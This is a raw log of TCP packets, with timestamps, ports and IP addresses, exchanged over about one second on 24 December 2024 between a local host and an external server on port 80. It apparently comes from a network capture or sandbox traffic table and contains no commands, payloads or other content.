Dec 24, 2024 14:02:34.524002075 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.524868011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.524913073 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.524951935 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.524992943 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.525882006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.525935888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.526262045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.526492119 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.526882887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.526935101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.527179956 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.527297020 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.527821064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.527908087 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.527942896 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.528229952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.528841019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.528899908 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.528973103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.529169083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.529814959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.529867887 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.530136108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.530181885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.530790091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.530932903 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.530985117 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.531936884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.531982899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.532042027 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.532846928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.532907963 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.532943010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.532999039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.533721924 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.533755064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.533771038 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.533806086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.534687996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.534748077 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.534789085 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.535032034 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.535682917 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.535726070 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.535882950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.535924911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.536634922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.536741018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.536907911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.536958933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.537602901 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.537667990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.537836075 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.538013935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.538707972 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.538724899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.538815975 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.539552927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.539617062 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.539933920 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.540637016 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.540694952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.540847063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.541604996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.541620970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.541661024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.541675091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.542634964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.542686939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.542757988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.542802095 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.543581009 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.543776035 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.543838024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.544589996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.544631958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.544655085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.544671059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.545573950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.545620918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.545685053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.545727015 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.546710968 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.546773911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.546875954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.546952009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.547749043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.547825098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.547955990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.548021078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.548979998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.549084902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.549254894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.549480915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.549851894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.549910069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.550240040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.550302029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.550584078 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.550601006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.550635099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.550648928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.551326990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.551659107 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.637183905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.637222052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.637264967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.637264967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.637640953 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.637696028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.637739897 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.637793064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.638598919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.638673067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.638703108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.638758898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.639595032 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.639647007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.639784098 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.639867067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.640571117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.640626907 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.640630960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.640677929 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.641565084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.641613960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.641680002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.641727924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.642570019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.642621994 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.642663002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.642710924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.643511057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.643560886 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.643575907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.643621922 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.644479036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.644530058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.644777060 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.644830942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.645741940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.645811081 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.646281004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.646332026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.646706104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.646758080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.646908045 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.646956921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.647501945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.647552013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.647631884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.647676945 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.648442984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.648494005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.648755074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.648801088 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654464960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654495955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654511929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654516935 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654535055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654541016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654551029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654576063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654591084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654612064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654640913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654650927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.654793978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654808998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.654861927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.725121975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.725202084 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.725261927 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.725313902 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.725553036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.725569963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.725601912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.725616932 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.726304054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.726356030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.726521015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.726569891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.727406979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.727458000 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.727485895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.727530956 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.728271961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.728322029 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.728387117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.728434086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.729325056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.729374886 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.729434967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.729486942 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.730365038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.730413914 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.730437040 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.730480909 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.731056929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.731106043 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.731161118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.731199026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.732100010 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.732151031 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.732238054 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.732284069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.733107090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.733208895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.733264923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.734025002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.734036922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.734086990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.735054970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.735109091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.735287905 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.735981941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.736035109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.736268997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.736314058 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.736905098 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.736962080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.737131119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.737179995 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.737896919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.738162041 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.738214016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.738893986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.739197016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.739444017 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.739909887 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.739965916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.740878105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.740890026 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.740937948 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.740961075 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.740999937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.741833925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.741846085 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.741894007 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.742762089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.743248940 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.743823051 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.743834019 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.743845940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.743880033 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.743901014 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.744801998 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.744815111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.744865894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.745699883 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.746730089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.746741056 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.746778011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.746788979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.746817112 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.747792959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.748421907 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.748480082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.748644114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.748749018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.748800039 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.749660015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.749718904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.750330925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.750381947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.750610113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.750797987 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.750849962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.751617908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.751712084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.751760006 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.752540112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.752588034 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.752787113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.753573895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.753623962 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.753721952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.754779100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.754823923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.754837990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.754857063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.755563021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.755664110 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:34.755721092 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.818665981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:34.938184023 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.218590975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.218606949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.218705893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.218997002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.219058037 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.219278097 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.219326019 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.219965935 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.220031023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.220194101 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.220243931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.221024036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.221035004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.221076012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.221918106 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.221966982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.222090006 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.222140074 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.222825050 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.222882032 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.223170042 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.223223925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.223861933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.223886967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.223906040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.223917961 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.224863052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.224909067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.224946976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.224986076 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.225775957 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.225811958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.225815058 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.225853920 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.226730108 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.226778984 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.226860046 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.226895094 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.227694988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.227737904 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.227761030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.227798939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.230823994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.230834961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.230844975 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.230855942 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.230895042 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.230917931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.230953932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.230963945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:35.230988979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:35.231017113 CET	49787	80	192.168.2.6	185.231.69.191
